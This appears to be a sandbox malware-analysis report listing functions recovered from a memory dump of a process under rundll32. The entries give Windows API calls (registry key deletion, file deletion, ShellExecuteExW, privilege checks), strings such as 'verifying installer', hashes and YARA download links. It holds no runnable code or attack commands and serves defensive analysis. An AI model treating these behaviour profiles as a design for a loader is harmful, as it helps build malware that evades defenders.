std::_Lockit::_Lockit.LIBCPMT ref: 045EAC15
std::_Lockit::_Lockit.LIBCPMT ref: 045EAC30
std::_Lockit::~_Lockit.LIBCPMT ref: 045EAC50
std::_Lockit::~_Lockit.LIBCPMT ref: 045EACA9
__Getctype.LIBCPMT ref: 045EACFC
std::_Facet_Register.LIBCPMT ref: 045EAD24
std::_Lockit::~_Lockit.LIBCPMT ref: 045EAD3C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeRegister
String ID:
API String ID: 2525760861-0
Opcode ID: cf39f04faedc74437397562c1cf46852ed4eac5c6da3534adb6f107a7e9ca404
Instruction ID: 07bee97b33f9e411ba229df9c8443106d6c741a1a1115d8897f2546db6235c69
Opcode Fuzzy Hash: cf39f04faedc74437397562c1cf46852ed4eac5c6da3534adb6f107a7e9ca404
Instruction Fuzzy Hash: 8D412B71A00219DBEB29DF6AE980ABDB3B4FF80314F144459ED09A7201E731FD45EB91

Uniqueness

Uniqueness Score: -1.00%

Function 045E64EE Relevance: 10.6, APIs: 7, Instructions: 80stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(04646278,?,?,00000000,?), ref: 045E6523
lstrlenW.KERNEL32(?), ref: 045E6532
lstrcatW.KERNEL32(04646278,?), ref: 045E654E
SetWindowTextW.USER32(04646278), ref: 045E6567
SendMessageW.USER32 ref: 045E658E
SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 045E65A9
SendMessageW.USER32(00000000,00001013,?,00000000), ref: 045E65B6

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 1ea4a9ea74b9eee3cf5ea3376a92e7f6f630178bffecd32cee06389104b74d93
Instruction ID: b91bcf7befc9c5071a4022fd0b4b63db9815ac1d4e58ea84dcfb01b5295cc6ea
Opcode Fuzzy Hash: 1ea4a9ea74b9eee3cf5ea3376a92e7f6f630178bffecd32cee06389104b74d93
Instruction Fuzzy Hash: FB2145B16003146FD7189F2ADC44E7B7BACFBE93A0F84082AF545C3244E668AC4487A1

Uniqueness

Uniqueness Score: -1.00%

Function 045E3D26 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 79stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(Exec,02D2054C,00000400), ref: 045E3D5C
lstrcpynW.KERNEL32(02D2054C,02D1A774,00000400), ref: 045E3D69
lstrcpynW.KERNEL32(02D1A774,Exec,00000400), ref: 045E3D76
lstrcpynW.KERNEL32(?,02D1A77C,00000400), ref: 045E3DA6
GlobalFree.KERNEL32(02D1A778), ref: 045E3DB4
GlobalAlloc.KERNEL32(00000040,00000804), ref: 045E3DC6

Strings

Exec, xrefs: 045E3D55, 045E3D5B, 045E3D71

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$Global$AllocFree
String ID: Exec
API String ID: 4256245458-459137531
Opcode ID: 790d2d1661c133af8dfaee9563147adf57efed22cc6a3e8e5f5db5b7aff26ec0
Instruction ID: e3791c6a82220639df31e30e4bde05308368a6fb0f90f84fbfa05d2b3114d0a8
Opcode Fuzzy Hash: 790d2d1661c133af8dfaee9563147adf57efed22cc6a3e8e5f5db5b7aff26ec0
Instruction Fuzzy Hash: BA21CF76644758AFD738DE26E940ABAB398FB85754F114429ED42D7340EB38FC009B90

Uniqueness

Uniqueness Score: -1.00%

Function 04602824 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04602931,?,?,045F2FDB,00000000,?,?,04602ADF,00000021,FlsSetValue,04613AE8,04613AF0,045F2FDB), ref: 046028E5

Strings

api-ms-, xrefs: 0460287B
ext-ms-, xrefs: 0460288F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c3cb91f21ea37adb6c49adf3e4cfe5cd521171cac4e9dfc1f4ea15efb34776
Instruction ID: 29fbb93d92e105606cd2653f94a3eaa36e0ff0abc38798139f822cb6361b3185
Opcode Fuzzy Hash: b8c3cb91f21ea37adb6c49adf3e4cfe5cd521171cac4e9dfc1f4ea15efb34776
Instruction Fuzzy Hash: 5C213A3AA01211ABDB3A9A60DC68A5B3758EF517B0F145665EE02A73C0F774FD09C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 045E5C51 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 045E5C6E
GetMessagePos.USER32 ref: 045E5C74
ScreenToClient.USER32(?,?), ref: 045E5C8C
SendMessageW.USER32(?,00001111,00000000,?), ref: 045E5C9E
SendMessageW.USER32(?,0000113E,00000000,?), ref: 045E5CC4

Strings

f, xrefs: 045E5CA0

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 533e0aabfb6cc1744ba137cfaaf207dd1ed5c540a7ef9ae098b6869f70b58101
Instruction ID: 5e39fdfe40167d106969112914a6040803468aac45b9f94be966055d0f49f86f
Opcode Fuzzy Hash: 533e0aabfb6cc1744ba137cfaaf207dd1ed5c540a7ef9ae098b6869f70b58101
Instruction Fuzzy Hash: 29017571E00309BBD718DBE6EC85FFFBBB8FB44724F10011AB611A61C1D6B499008665

Uniqueness

Uniqueness Score: -1.00%

Function 045E1A42 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 045E1A6C
MulDiv.KERNEL32(0081724B,00000064,0081724B), ref: 045E1A94
wsprintfW.USER32 ref: 045E1AA7
SetWindowTextW.USER32(?,?), ref: 045E1AB8
SetDlgItemTextW.USER32(?,00000406,?), ref: 045E1ACB

Strings

verifying installer: %d%%, xrefs: 045E1AA1

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: d8bf4a4c734af468e1d4bc83478f59b76a29bac82a75eb0ed834d2fb756cda04
Instruction ID: 35264fd2b15cefd4339ae2992665261c76c9c52d49598ba4e028b560a03d6f5f
Opcode Fuzzy Hash: d8bf4a4c734af468e1d4bc83478f59b76a29bac82a75eb0ed834d2fb756cda04
Instruction Fuzzy Hash: AE014071540619FBDB28DF61DD09FEA3368FB04715F008159FA06A6080EBB96E44DF95

Uniqueness

Uniqueness Score: -1.00%

Function 045F7764 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,045F775B,045F5E8D,045F4DA3), ref: 045F7772
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 045F7780
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 045F7799
SetLastError.KERNEL32(00000000,045F775B,045F5E8D,045F4DA3), ref: 045F77EB

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7972bae8a468230a118c51d9f4c9a5d329ddc3c0ced3481e5f498c4eb555f7ba
Instruction ID: 06411ed09535b9833aab8ce023217ef77ad1f8c73a02955e0bc24ced832c05df
Opcode Fuzzy Hash: 7972bae8a468230a118c51d9f4c9a5d329ddc3c0ced3481e5f498c4eb555f7ba
Instruction Fuzzy Hash: 3201A73221AA125EF7293974FD8592B2B84FB95679720022AE724950F0FF957C11B147

Uniqueness

Uniqueness Score: -1.00%

Function 045E2FDE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3051
CharNextW.USER32(045E1393,00000000,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3062
CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3067
CharPrevW.USER32(045E1393,045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E307F

Strings

*?|<>/":, xrefs: 045E3040

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 5832363f825cb885fa9b9c032824b32230888eaff616e64c6b2ee51595ac5a56
Instruction ID: 2b599e07db07d80fd9f69e58b032fa3e8de82ee1b286cfad6ce5159dcc13e27e
Opcode Fuzzy Hash: 5832363f825cb885fa9b9c032824b32230888eaff616e64c6b2ee51595ac5a56
Instruction Fuzzy Hash: FC113A15A0022592DB38AF6B684453BA7E8FF98761B50442AEDC5C7180FF65E880E3A0

Uniqueness

Uniqueness Score: -1.00%

Function 045FB700 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,592C54D0,?,?,00000000,0460DE37,000000FF,?,045FB690,?,?,045FB664,00000016), ref: 045FB735
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 045FB747
FreeLibrary.KERNEL32(00000000,?,00000000,0460DE37,000000FF,?,045FB690,?,?,045FB664,00000016), ref: 045FB769

Strings

mscoree.dll, xrefs: 045FB72E
CorExitProcess, xrefs: 045FB73F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: deafc845796ca6cb30346f70fda7e3c04b9fc199ab7e47821c703834a3776b41
Instruction ID: 3042560afb3d9d1dd8c2f766f951cf5ad4af57be18531ec72059fc6b14f206ae
Opcode Fuzzy Hash: deafc845796ca6cb30346f70fda7e3c04b9fc199ab7e47821c703834a3776b41
Instruction Fuzzy Hash: 5F01A235A00659EBCB159F80DC49FAFB7F8FB04B11F044225E911E22A0EBB8B840CA50

Uniqueness

Uniqueness Score: -1.00%

Function 045EBCB0 Relevance: 7.7, APIs: 5, Instructions: 242COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 045EBD97
std::_Lockit::_Lockit.LIBCPMT ref: 045EBE1A
std::_Lockit::_Lockit.LIBCPMT ref: 045EBE37
std::_Lockit::~_Lockit.LIBCPMT ref: 045EBE58
std::_Lockit::~_Lockit.LIBCPMT ref: 045EBF21

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$___std_exception_destroy
String ID:
API String ID: 2108590116-0
Opcode ID: 7eb427fa4e3ae8f8ce35fb038eb1670789b8efbb918ea5ec7a6d1a934725f8f3
Instruction ID: 49143bbb092f9e15308bd7ab511dbb8f46d12e218a09a897ee2105c7055399bf
Opcode Fuzzy Hash: 7eb427fa4e3ae8f8ce35fb038eb1670789b8efbb918ea5ec7a6d1a934725f8f3
Instruction Fuzzy Hash: FD91DA71A002059FDB28CF69D988BAEBBF5FF88314F184519E5169B7A0DB34F940DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04601995 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04601A1C
__alloca_probe_16.LIBCMT ref: 04601ADD
__freea.LIBCMT ref: 04601B44

Part of subcall function 04600365: RtlAllocateHeap.NTDLL(00000000,045F2FDB,?,?,045F5099,?,?,?,?,?,045F2EC9,045F2FDB,?,?,?,?), ref: 04600397

__freea.LIBCMT ref: 04601B59
__freea.LIBCMT ref: 04601B69

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 3841193ec7bd3dd8c0bf56c11cfd266754069154ef2226afb67d8cf1297bf6a6
Instruction ID: 0cfb8180aae49f86c4e17698bdfc7913407368f21f9644fa155150e1958df3f7
Opcode Fuzzy Hash: 3841193ec7bd3dd8c0bf56c11cfd266754069154ef2226afb67d8cf1297bf6a6
Instruction Fuzzy Hash: E251D67260020AAFEB299F65CC40EFB37A9EF56354B198129FD05D7290FB36EC108760

Uniqueness

Uniqueness Score: -1.00%

Function 045E4C9C Relevance: 7.6, APIs: 5, Instructions: 100memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000C800,00000002), ref: 045E4CF2
GlobalAlloc.KERNEL32(00000040,?,?,?,00000000), ref: 045E4D31
GlobalFree.KERNEL32(?), ref: 045E4D84
GlobalFree.KERNEL32(00000000), ref: 045E4D9C
DeleteFileW.KERNEL32(00000000,00000002), ref: 045E4DC2

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Global$AllocFree$DeleteFile
String ID:
API String ID: 3892352246-0
Opcode ID: e49fa02efbadf4766b7ead8b23667432903ee8d5de980b96254090ece4291781
Instruction ID: bb92f791c1f657579d2e6700e044104b005f51edc4f7a8f8b100b5c49fe4237d
Opcode Fuzzy Hash: e49fa02efbadf4766b7ead8b23667432903ee8d5de980b96254090ece4291781
Instruction Fuzzy Hash: 3B311030608311ABD758AF659880B3B7AD9BBC9324F10066DB96A473D5DE74AC419780

Uniqueness

Uniqueness Score: -1.00%

Function 045E3396 Relevance: 7.6, APIs: 5, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000105,00000000,00000105,00000105), ref: 045E33F4
RegCloseKey.ADVAPI32(?), ref: 045E343A
RegCloseKey.ADVAPI32(?), ref: 045E3459

Part of subcall function 045E3396: RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000105), ref: 045E342C
Part of subcall function 045E3396: RegDeleteKeyW.ADVAPI32 ref: 045E3466

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CloseEnum$Delete
String ID:
API String ID: 2938479316-0
Opcode ID: 8defb36346fe764d821dfb28b7e0888c99737fedae7ba7c6d899f3b59e17ccd9
Instruction ID: ed1c275f46b52e23be396afae1c5d657cd2bba9e0620e79efc95da62009b9222
Opcode Fuzzy Hash: 8defb36346fe764d821dfb28b7e0888c99737fedae7ba7c6d899f3b59e17ccd9
Instruction Fuzzy Hash: F5219531244306ABD739DF65EC48F6BBBE8FBD4344F008829FA55C3150EB74E8449A52

Uniqueness

Uniqueness Score: -1.00%

Function 045E3F30 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 045E3F36
GetClientRect.USER32(00000000,?), ref: 045E3F44
LoadImageW.USER32(00000000,00000000,00000000,?,?,00000010), ref: 045E3F72
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 045E3F80
DeleteObject.GDI32(00000000), ref: 045E3F8F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7dfab1c16bdfe7d64e99c5bd86772f3c34f1ed4817db1ab99d7d296ede42af1b
Instruction ID: 552ab2d1d99d5faef51b570625acf6a0470c5c892fac9f7a639ab6d4defa6d19
Opcode Fuzzy Hash: 7dfab1c16bdfe7d64e99c5bd86772f3c34f1ed4817db1ab99d7d296ede42af1b
Instruction Fuzzy Hash: 5B018F72204240AFD72CEB20D898EBFB7ADFBC5710F40581DF546C2141EB78AC448B62

Uniqueness

Uniqueness Score: -1.00%

Function 045E3F9A Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 045E3F9F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 045E3FB6
MulDiv.KERNEL32(00000000,00000000), ref: 045E3FBE
ReleaseDC.USER32(?,00000000), ref: 045E3FCD
CreateFontIndirectW.GDI32(046441F8), ref: 045E401F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 7548172de8b9cffd53d0d52539f351a6751ed17c5bbd901ab535eb78a5e384d3
Instruction ID: 21d13ebc8e820ecc56cead8676450c6aeb4a04e6c0c20766d578f877a10d4fff
Opcode Fuzzy Hash: 7548172de8b9cffd53d0d52539f351a6751ed17c5bbd901ab535eb78a5e384d3
Instruction Fuzzy Hash: 3A012B75540340AFE7289BB4A41BBA73BE4F7D5304F105408E75587182FD7C5C859B10

Uniqueness

Uniqueness Score: -1.00%

Function 045EC4E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 045EC8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,045EC503), ref: 045EC91D
Part of subcall function 045EC8E0: CheckTokenMembership.ADVAPI32(00000000,045EC503,00000000), ref: 045EC92F
Part of subcall function 045EC8E0: GetLastError.KERNEL32 ref: 045EC939
Part of subcall function 045EC8E0: FreeSid.ADVAPI32(045EC503), ref: 045EC949

GetCommandLineW.KERNEL32(?), ref: 045EC518
CommandLineToArgvW.SHELL32(00000000), ref: 045EC51F

Strings

rundll32.exe, xrefs: 045EC5AB
rundll32, xrefs: 045EC57D

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CommandLine$AllocateArgvCheckErrorFreeInitializeLastMembershipToken
String ID: rundll32$rundll32.exe
API String ID: 3357766150-702223092
Opcode ID: 97d7a0610c08b26efa0f48c39f408049b70b7d52e307e2666250cb271635bc26
Instruction ID: 2497bc13955bc13926aeec26752bdf028ff495638ecc57c14f2d22396e62cbff
Opcode Fuzzy Hash: 97d7a0610c08b26efa0f48c39f408049b70b7d52e307e2666250cb271635bc26
Instruction Fuzzy Hash: 83618171D002099AEB2DEBB2EC45BFEB378BF50308F544159D519A3081EB35BA08EE61

Uniqueness

Uniqueness Score: -1.00%

Function 045EAF40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 045EAFF8

Strings

ios_base::failbit set, xrefs: 045EB09D
ios_base::badbit set, xrefs: 045EB093, 045EB0BC
ios_base::eofbit set, xrefs: 045EB0A2

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 63d59a6bfbec533e497fc5b5156e640a691848fe59ce03dd442f941a4522fcf8
Instruction ID: 971f1b5ae4fd355871fd5e44c27066660cb268e18ed705972b6717b062267c77
Opcode Fuzzy Hash: 63d59a6bfbec533e497fc5b5156e640a691848fe59ce03dd442f941a4522fcf8
Instruction Fuzzy Hash: AC419AB16007059FEB24CF65D498B5BBBF0BF44308F04856CD95A8B691E7B6F908CB81

Uniqueness

Uniqueness Score: -1.00%

Function 045E5742 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(04644278,?,?,?,?), ref: 045E57F7
wsprintfW.USER32 ref: 045E5827
SetDlgItemTextW.USER32(?,04644278), ref: 045E583F

Strings

%u.%u%s%s, xrefs: 045E5821

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 37f3f315361cfe3ebe5ebe54e9240dd97c0621d60158d73dcf381c5697bc8485
Instruction ID: b7f5aa5d1baa9f4714a28350f5caa70f605af3c04d4b0bad4002949abbb7f7b1
Opcode Fuzzy Hash: 37f3f315361cfe3ebe5ebe54e9240dd97c0621d60158d73dcf381c5697bc8485
Instruction Fuzzy Hash: F53126367043045FD728EA79DC40AABB3D5EBC5364F118639FA5AD32D0FA749C058691

Uniqueness

Uniqueness Score: -1.00%

Function 045E405C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 045E64EE: lstrlenW.KERNEL32(04646278,?,?,00000000,?), ref: 045E6523
Part of subcall function 045E64EE: lstrlenW.KERNEL32(?), ref: 045E6532
Part of subcall function 045E64EE: lstrcatW.KERNEL32(04646278,?), ref: 045E654E
Part of subcall function 045E64EE: SetWindowTextW.USER32(04646278), ref: 045E6567
Part of subcall function 045E64EE: SendMessageW.USER32 ref: 045E658E
Part of subcall function 045E64EE: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 045E65A9
Part of subcall function 045E64EE: SendMessageW.USER32(00000000,00001013,?,00000000), ref: 045E65B6

ShellExecuteExW.SHELL32(0000003C), ref: 045E40E9

